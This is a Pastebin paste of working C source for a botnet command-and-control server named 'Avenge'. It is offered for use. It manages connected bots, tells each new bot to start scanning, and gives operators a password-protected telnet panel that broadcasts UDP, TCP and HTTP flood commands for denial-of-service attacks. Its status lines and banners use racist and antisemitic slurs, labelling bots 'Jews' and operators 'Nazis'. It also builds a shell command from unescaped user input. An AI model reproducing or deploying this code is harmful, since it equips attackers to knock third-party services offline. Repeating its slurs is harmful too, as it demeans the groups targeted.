Advertisement
AvengeVPS

Small Botnet Serverside

Mar 1st, 2018
418
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.28 KB | None | 0 0
  1. /*
  2. Botnet by AvengeVPS or avengehitler
  3. Thanks for using :)
  4. LOGIN FILE IS - login.txt
  5. */
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <netdb.h>
  12. #include <unistd.h>
  13. #include <time.h>
  14. #include <fcntl.h>
  15. #include <sys/epoll.h>
  16. #include <errno.h>
  17. #include <pthread.h>
  18. #include <signal.h>
  19. #include <ctype.h>
  20. #define MAXFDS 1000000
  21. #define RED "\x1b[0;31m"
  22. #define GREEN "\x1b[0;32m"
  23. #define C_RESET "\x1b[0m"
  24.  
  25. struct account {
  26. char id[20];
  27. char password[20];
  28. };
  29. static struct account accounts[25];
  30.  
  31. struct clientdata_t {
  32. uint32_t ip;
  33. char build[7];
  34. char connected;
  35. } clients[MAXFDS];
  36.  
  37. struct telnetdata_t {
  38. uint32_t ip;
  39. int connected;
  40. } managements[MAXFDS];
  41.  
  42. ////////////////////////////////////
  43.  
  44. static volatile FILE *fileFD;
  45. static volatile int epollFD = 0;
  46. static volatile int listenFD = 0;
  47. static volatile int managesConnected = 0;
  48. static volatile int DUPESDELETED = 0;
  49.  
  50. ////////////////////////////////////
  51.  
  52.  
  53. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  54. {
  55. int total = 0, got = 1;
  56. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  57. return got;
  58. }
  59. void trim(char *str)
  60. {
  61. int i;
  62. int begin = 0;
  63. int end = strlen(str) - 1;
  64. while (isspace(str[begin])) begin++;
  65. while ((end >= begin) && isspace(str[end])) end--;
  66. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  67. str[i - begin] = '\0';
  68. }
  69.  
  70.  
  71. static int make_socket_non_blocking (int sfd)
  72. {
  73. int flags, s;
  74. flags = fcntl (sfd, F_GETFL, 0);
  75. if (flags == -1)
  76. {
  77. perror ("fcntl");
  78. return -1;
  79. }
  80. flags |= O_NONBLOCK;
  81. s = fcntl (sfd, F_SETFL, flags);
  82. if (s == -1)
  83. {
  84. perror ("fcntl");
  85. return -1;
  86. }
  87. return 0;
  88. }
  89.  
  90.  
  91. static int create_and_bind (char *port)
  92. {
  93. struct addrinfo hints;
  94. struct addrinfo *result, *rp;
  95. int s, sfd;
  96. memset (&hints, 0, sizeof (struct addrinfo));
  97. hints.ai_family = AF_UNSPEC;
  98. hints.ai_socktype = SOCK_STREAM;
  99. hints.ai_flags = AI_PASSIVE;
  100. s = getaddrinfo (NULL, port, &hints, &result);
  101. if (s != 0)
  102. {
  103. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  104. return -1;
  105. }
  106. for (rp = result; rp != NULL; rp = rp->ai_next)
  107. {
  108. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  109. if (sfd == -1) continue;
  110. int yes = 1;
  111. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  112. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  113. if (s == 0)
  114. {
  115. break;
  116. }
  117. close (sfd);
  118. }
  119. if (rp == NULL)
  120. {
  121. fprintf (stderr, "Could not bind\n");
  122. return -1;
  123. }
  124. freeaddrinfo (result);
  125. return sfd;
  126. }
  127. void broadcast(char *msg, int us, char *sender)
  128. {
  129. int sendMGM = 1;
  130. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  131. char *wot = malloc(strlen(msg) + 10);
  132. memset(wot, 0, strlen(msg) + 10);
  133. strcpy(wot, msg);
  134. trim(wot);
  135. time_t rawtime;
  136. struct tm * timeinfo;
  137. time(&rawtime);
  138. timeinfo = localtime(&rawtime);
  139. char *timestamp = asctime(timeinfo);
  140. trim(timestamp);
  141. int i;
  142. for(i = 0; i < MAXFDS; i++)
  143. {
  144. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  145. if(sendMGM && managements[i].connected)
  146. {
  147. send(i, "\x1b[31mID:", 8, MSG_NOSIGNAL);
  148. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  149. send(i, " ", 1, MSG_NOSIGNAL);
  150. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  151. send(i, ": ", 2, MSG_NOSIGNAL);
  152. }
  153. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  154. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[32m> \x1b[0m", 13, MSG_NOSIGNAL);
  155. else send(i, "\n", 1, MSG_NOSIGNAL);
  156. }
  157. free(wot);
  158. }
  159.  
  160. void *epollEventLoop(void *useless)
  161. {
  162. struct epoll_event event;
  163. struct epoll_event *events;
  164. int s;
  165. events = calloc (MAXFDS, sizeof event);
  166. while (1)
  167. {
  168. int n, i;
  169. n = epoll_wait (epollFD, events, MAXFDS, -1);
  170. for (i = 0; i < n; i++)
  171. {
  172. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  173. {
  174. clients[events[i].data.fd].connected = 0;
  175. close(events[i].data.fd);
  176. continue;
  177. }
  178. else if (listenFD == events[i].data.fd)
  179. {
  180. while (1)
  181. {
  182. struct sockaddr in_addr;
  183. socklen_t in_len;
  184. int infd, ipIndex;
  185.  
  186. in_len = sizeof in_addr;
  187. infd = accept (listenFD, &in_addr, &in_len);
  188. if (infd == -1)
  189. {
  190. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  191. else
  192. {
  193. perror ("accept");
  194. break;
  195. }
  196. }
  197.  
  198. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  199.  
  200. int dup = 0;
  201. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  202. {
  203. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  204.  
  205. if(clients[ipIndex].ip == clients[infd].ip)
  206. {
  207. dup = 1;
  208. break;
  209. }
  210. }
  211.  
  212. if(dup)
  213. {
  214. DUPESDELETED++;
  215. continue;
  216. }
  217.  
  218. s = make_socket_non_blocking (infd);
  219. if (s == -1) { close(infd); break; }
  220.  
  221. event.data.fd = infd;
  222. event.events = EPOLLIN | EPOLLET;
  223. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  224. if (s == -1)
  225. {
  226. perror ("epoll_ctl");
  227. close(infd);
  228. break;
  229. }
  230.  
  231. clients[infd].connected = 1;
  232. send(infd, "!* SCANNER ON\n", 9, MSG_NOSIGNAL);
  233.  
  234. }
  235. continue;
  236. }
  237. else
  238. {
  239. int thefd = events[i].data.fd;
  240. struct clientdata_t *client = &(clients[thefd]);
  241. int done = 0;
  242. client->connected = 1;
  243. while (1)
  244. {
  245. ssize_t count;
  246. char buf[2048];
  247. memset(buf, 0, sizeof buf);
  248.  
  249. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  250. {
  251. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  252. trim(buf);
  253. if(strcmp(buf, "PING") == 0) {
  254. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  255. continue; }
  256. if(strcmp(buf, "PONG") == 0) {
  257. continue; }
  258. printf("buf: \"%s\"\n", buf); }
  259.  
  260. if (count == -1)
  261. {
  262. if (errno != EAGAIN)
  263. {
  264. done = 1;
  265. }
  266. break;
  267. }
  268. else if (count == 0)
  269. {
  270. done = 1;
  271. break;
  272. }
  273. }
  274.  
  275. if (done)
  276. {
  277. client->connected = 0;
  278. close(thefd);
  279. }
  280. }
  281. }
  282. }
  283. }
  284.  
  285. unsigned int clientsConnected()
  286. {
  287. int i = 0, total = 0;
  288. for(i = 0; i < MAXFDS; i++)
  289. {
  290. if(!clients[i].connected) continue;
  291. total++;
  292. }
  293.  
  294. return total;
  295. }
  296.  
  297. void *titleWriter(void *sock)
  298. {
  299. int thefd = (long int)sock;
  300. char string[2048];
  301. while(1)
  302. {
  303. memset(string, 0, 2048);
  304. sprintf(string, "%c]0;Jews Connected: %d | Avenge | Nazis Connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  305. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1);
  306.  
  307. sleep(2);
  308. }
  309. }
  310.  
  311. int Search_in_File(char *str)
  312. {
  313. FILE *fp;
  314. int line_num = 0;
  315. int find_result = 0, find_line=0;
  316. char temp[512];
  317.  
  318. if((fp = fopen("login.txt", "r")) == NULL){
  319. return(-1);
  320. }
  321. while(fgets(temp, 512, fp) != NULL){
  322. if((strstr(temp, str)) != NULL){
  323. find_result++;
  324. find_line = line_num;
  325. }
  326. line_num++;
  327. }
  328. if(fp)
  329. fclose(fp);
  330.  
  331. if(find_result == 0)return 0;
  332.  
  333. return find_line;
  334. }
  335. void client_addr(struct sockaddr_in addr){
  336. printf("IP:%d.%d.%d.%d\n",
  337. addr.sin_addr.s_addr & 0xFF,
  338. (addr.sin_addr.s_addr & 0xFF00)>>8,
  339. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  340. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  341. FILE *logFile;
  342. logFile = fopen("server.log", "a");
  343. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  344. addr.sin_addr.s_addr & 0xFF,
  345. (addr.sin_addr.s_addr & 0xFF00)>>8,
  346. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  347. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  348. fclose(logFile);
  349. }
  350.  
  351. void *telnetWorker(void *sock) {
  352. int thefd = (long int)sock;
  353. managesConnected++;
  354. int find_line;
  355. pthread_t title;
  356. char counter[2048];
  357. memset(counter, 0, 2048);
  358. char buf[2048];
  359. char* nickstring;
  360. char usernamez[80];
  361. char* password;
  362. char* admin;
  363. memset(buf, 0, sizeof buf);
  364. char botnet[2048];
  365. memset(botnet, 0, 2048);
  366.  
  367. FILE *fp;
  368. int i=0;
  369. int c;
  370. fp=fopen("login.txt", "r"); // format: user pass
  371. while(!feof(fp))
  372. {
  373. c=fgetc(fp);
  374. ++i;
  375. }
  376. int j=0;
  377. rewind(fp);
  378. while(j!=i-1)
  379. {
  380. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  381. ++j;
  382. }
  383. sprintf(botnet, ""RED"Username\x1b[1;36m: \x1b[1;32m");
  384. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  385. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  386. trim(buf);
  387. sprintf(usernamez, buf);
  388. nickstring = ("%s", buf);
  389. find_line = Search_in_File(nickstring);
  390.  
  391. if(strcmp(nickstring, accounts[find_line].id) == 0){
  392. sprintf(botnet, ""RED"Turn \x1b[1;31mWelcome to Avenge v1)\r\n");
  393. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  394. sprintf(botnet, ""RED"Password\x1b[0;34m: \x1b[1;32m");
  395. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  396. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  397. trim(buf);
  398. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  399. memset(buf, 0, 2048);
  400. goto fak;
  401. }
  402. failed:
  403. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  404. goto end;
  405. fak:
  406.  
  407. pthread_create(&title, NULL, &titleWriter, sock);
  408. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  409. if(send(thefd, "\r\n", 2, MSG_NOSIGNAL) == -1) goto end;
  410. char line1[80];
  411. sprintf(line1, ""C_RESET"***"RED" Welcome To \x1b[1;34m Avenge's Net"C_RESET" ***\r\n\r\n"RED"> "C_RESET"");
  412. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  413. pthread_create(&title, NULL, &titleWriter, sock);
  414. managements[thefd].connected = 1;
  415. while(fdgets(buf, sizeof buf, thefd) > 0)
  416. {
  417. if(strstr(buf, "BOTS"))
  418. {
  419. sprintf(botnet, "Jews connected: "RED"[%d]"C_RESET"\r\nNazis connected: "RED"[%d]"C_RESET"\r\nDupes Deleted:"RED" [%d]"C_RESET"\r\n", clientsConnected(), managesConnected, DUPESDELETED);
  420. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  421. }
  422.  
  423. if (strstr(buf, "HELP"))
  424. {
  425. sprintf(botnet, "\x1b[1;36m!* STD IP PORT TIME SIZE || STD/UDP\r\n!* TCP IP PORT TIME SIZE 32 FLAGS SIZE INTERVALS || TCP\r\n!* L7 URL GET/HEAD/POST PORT PATH TIME POWER || LAYER 7\r\n!* STOPATTK | KILLS ATTACKS || Don't SPAM\r\n");
  426. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  427. }
  428.  
  429. if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0)
  430. {
  431. int hax;
  432. if(send(thefd, "Countdown Before Attack Will be Sent\r\n", 38, MSG_NOSIGNAL) == -1) goto end;
  433. for (hax = 5; hax > 0; --hax) {
  434. sleep(1);
  435. sprintf(botnet, "Time: %d\r\n", hax);
  436. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  437. }
  438. if(send(thefd, "Attack Sent Nigga!\r\n", 12, MSG_NOSIGNAL) == -1) goto end;
  439. }
  440. if (strstr(buf, "CLS"))
  441. {
  442. if(send(thefd, "\033[1A\033[2J\033[1;1H\r\n", 16, MSG_NOSIGNAL) == -1) goto end;
  443. sprintf(line1, ""C_RESET"***"RED" Welcome To \x1b[1;33mAvenge's NetT"C_RESET" ***\r\n\r\n");
  444. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  445.  
  446. }
  447. if (strstr(buf, "EXIT"))
  448. {
  449. goto end;
  450. }
  451. trim(buf);
  452. sprintf(botnet, "\x1b[31m> \x1b[0m");
  453. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  454. if(strlen(buf) == 0) continue;
  455. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  456. FILE *logFile;
  457. logFile = fopen("server.log", "a");
  458. fprintf(logFile, "%s: \"%s\"\n", accounts[find_line].id, buf);
  459. fclose(logFile);
  460. broadcast(buf, thefd, usernamez);
  461. memset(buf, 0, 2048);
  462. }
  463.  
  464. end: // cleanup dead socket
  465. managements[thefd].connected = 0;
  466. close(thefd);
  467. managesConnected--;
  468. }
  469.  
  470. void *telnetListener(int port)
  471. {
  472. int sockfd, newsockfd;
  473. socklen_t clilen;
  474. struct sockaddr_in serv_addr, cli_addr;
  475. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  476. if (sockfd < 0) perror("ERROR opening socket");
  477. bzero((char *) &serv_addr, sizeof(serv_addr));
  478. serv_addr.sin_family = AF_INET;
  479. serv_addr.sin_addr.s_addr = INADDR_ANY;
  480. serv_addr.sin_port = htons(port);
  481. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  482. listen(sockfd,5);
  483. clilen = sizeof(cli_addr);
  484. while(1)
  485.  
  486. { printf("Connecting To Server: ");
  487. client_addr(cli_addr);
  488. FILE *logFile;
  489. logFile = fopen("IP.log", "a");
  490. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  491. fclose(logFile);
  492. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  493. if (newsockfd < 0) perror("ERROR on accept");
  494. pthread_t thread;
  495. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  496. }
  497. }
  498.  
  499. int main (int argc, char *argv[], void *sock)
  500. {
  501. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  502.  
  503. int s, threads, port;
  504. struct epoll_event event;
  505. char Username[20], Password[20];
  506. #ifdef User
  507. printf("Please Enter Username: ");
  508. scanf("%s",Username);
  509. printf("Please Enter Password: ");
  510. scanf("%s",Password);
  511. char hahaha[80];
  512. sprintf(hahaha, "echo %s %s >> login.txt", Username, Password);
  513. system(hahaha);
  514. #endif
  515. if (argc != 4)
  516. {
  517. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  518. exit (EXIT_FAILURE);
  519. }
  520. port = atoi(argv[3]);
  521. threads = atoi(argv[2]);
  522. if (threads > 850)
  523. {
  524. printf("Are You Dumb? Lower the Threads\n");
  525. return 0;
  526. }
  527. else if (threads < 850)
  528. {
  529. printf("Good Choice in Threading\n");
  530. }
  531. #ifdef User
  532. printf(RED "Enjoy The Command & Control\nIn "GREEN"Niggers"RED" We Trust\nUsername: %s\nPassword: %s\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", Username, Password, port, threads);
  533. #endif
  534. printf(RED "Enjoy The Command & Control\nIn "GREEN"Niggers"RED" We Trust\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", port, threads);
  535.  
  536. listenFD = create_and_bind(argv[1]); // try to create a listening socket, die if we can't
  537. if (listenFD == -1) abort();
  538.  
  539. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  540. if (s == -1) abort();
  541.  
  542. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  543. if (s == -1)
  544. {
  545. perror ("listen");
  546. abort ();
  547. }
  548.  
  549. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  550. if (epollFD == -1)
  551. {
  552. perror ("epoll_create");
  553. abort ();
  554. }
  555.  
  556. event.data.fd = listenFD;
  557. event.events = EPOLLIN | EPOLLET;
  558. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  559. if (s == -1)
  560. {
  561. perror ("epoll_ctl");
  562. abort ();
  563. }
  564.  
  565. pthread_t thread[threads + 2];
  566. while(threads--)
  567. {
  568. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  569. }
  570.  
  571. pthread_create(&thread[0], NULL, &telnetListener, port);
  572.  
  573. while(1)
  574. {
  575. broadcast("PING", -1, "STRING");
  576. sleep(60);
  577. }
  578.  
  579. close (listenFD);
  580.  
  581. return EXIT_SUCCESS;
  582. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement